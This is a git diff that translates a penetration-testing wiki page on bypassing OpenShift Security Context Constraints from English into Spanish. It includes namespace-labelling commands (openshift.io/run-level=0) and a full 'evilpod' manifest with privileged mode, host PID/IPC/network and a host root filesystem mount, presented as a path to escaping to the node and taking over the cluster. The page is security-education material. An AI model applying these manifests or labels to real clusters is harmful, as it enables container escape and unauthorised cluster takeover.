Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

This commit is contained in:
Translator
2024-12-31 18:54:26 +00:00
parent 7770a50092
commit 192d97f7b7
244 changed files with 8835 additions and 11676 deletions

View File

@@ -1,10 +1,10 @@
# Openshift - SCC bypass
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**El autor original de esta página es** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Privileged Namespaces
## Namespaces privilegiados
By default, SCC does not apply on following projects :
Por defecto, SCC no se aplica en los siguientes proyectos:
- **default**
- **kube-system**
@@ -13,130 +13,114 @@ By default, SCC does not apply on following projects :
- **openshift-infra**
- **openshift**
If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
Si despliegas pods dentro de uno de esos namespaces, no se aplicará SCC, lo que permitirá el despliegue de pods privilegiados o el montaje del sistema de archivos del host.
## Namespace Label
## Etiqueta de Namespace
There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
- Create a Namespace and Create a Pod on this Namespace
- Edit a Namespace and Create a Pod on this Namespace
Hay una manera de deshabilitar la aplicación de SCC en tu pod según la documentación de RedHat. Necesitarás tener al menos uno de los siguientes permisos:
- Crear un Namespace y Crear un Pod en este Namespace
- Editar un Namespace y Crear un Pod en este Namespace
```bash
$ oc auth can-i create namespaces
yes
yes
$ oc auth can-i patch namespaces
yes
yes
```
The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
La etiqueta específica `openshift.io/run-level` permite a los usuarios eludir los SCC para aplicaciones. Según la documentación de RedHat, cuando se utiliza esta etiqueta, no se aplican SCC a todos los pods dentro de ese espacio de nombres, eliminando efectivamente cualquier restricción.
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
## Add Label
To add the label in your namespace :
## Agregar Etiqueta
Para agregar la etiqueta en su espacio de nombres:
```bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0
```
To create a namespace with the label through a YAML file:
Para crear un namespace con la etiqueta a través de un archivo YAML:
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
name: evil
labels:
openshift.io/run-level: 0
```
Now, all new pods created on the namespace should not have any SCC
Ahora, todos los nuevos pods creados en el namespace no deberían tener ningún SCC
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
</strong><strong>$
</strong><strong>$
</strong></code></pre>
In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
En ausencia de SCC, no hay restricciones en la definición de tu pod. Esto significa que se puede crear fácilmente un pod malicioso para escapar al sistema host.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
```
Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
Ahora, se ha vuelto más fácil escalar privilegios para acceder al sistema host y, posteriormente, apoderarse de todo el clúster, obteniendo privilegios de 'cluster-admin'. Busca la parte de **Node-Post Exploitation** en la siguiente página:
{{#ref}}
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
{{#endref}}
### Custom labels
### Etiquetas personalizadas
Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
Además, según la configuración objetivo, se pueden utilizar algunas etiquetas / anotaciones personalizadas de la misma manera que en el escenario de ataque anterior. Incluso si no están destinadas a ello, las etiquetas podrían usarse para otorgar permisos, restringir o no un recurso específico.
Try to look for custom labels if you can read some resources. Here a list of interesting resources :
Intenta buscar etiquetas personalizadas si puedes leer algunos recursos. Aquí hay una lista de recursos interesantes:
- Pod
- Deployment
- Namespace
- Service
- Route
```bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
```
## List all privileged namespaces
## Listar todos los espacios de nombres privilegiados
```bash
$ oc get project -o yaml | grep 'run-level' -b5
```
## Advanced exploit
In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
En OpenShift, como se demostró anteriormente, tener permiso para desplegar un pod en un namespace con la etiqueta `openshift.io/run-level` puede llevar a una toma de control directa del clúster. Desde la perspectiva de la configuración del clúster, esta funcionalidad **no se puede desactivar**, ya que es inherente al diseño de OpenShift.
However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
Sin embargo, medidas de mitigación como **Open Policy Agent GateKeeper** pueden prevenir que los usuarios establezcan esta etiqueta.
To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
Para eludir las reglas de GateKeeper y establecer esta etiqueta para ejecutar una toma de control del clúster, **los atacantes necesitarían identificar métodos alternativos.**
## References
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)